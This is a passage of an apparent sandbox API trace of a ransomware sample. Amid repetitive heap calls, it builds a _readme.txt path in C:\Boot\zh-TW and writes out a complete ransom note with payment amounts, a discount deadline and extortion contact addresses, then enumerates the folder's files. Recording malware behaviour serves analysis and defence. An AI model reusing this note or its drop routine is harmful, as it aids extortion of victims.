hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.509] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.509] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.510] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.510] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.510] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.510] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.510] PathFindFileNameW (pszPath="") returned="" [0116.510] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.510] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.511] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.511] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.511] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.511] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.511] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.511] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.511] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.511] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.511] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.511] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.511] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.511] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.511] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.511] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.511] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.512] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.512] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.512] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.512] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.512] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.512] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.512] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.512] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.512] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.512] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.512] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.512] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.512] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0116.512] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.512] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.513] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.513] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.514] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960eb8 | out: hHeap=0xd10000) returned 1 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960eb8 [0116.514] RtlAllocateHeap (HeapHandle=0xd10000, 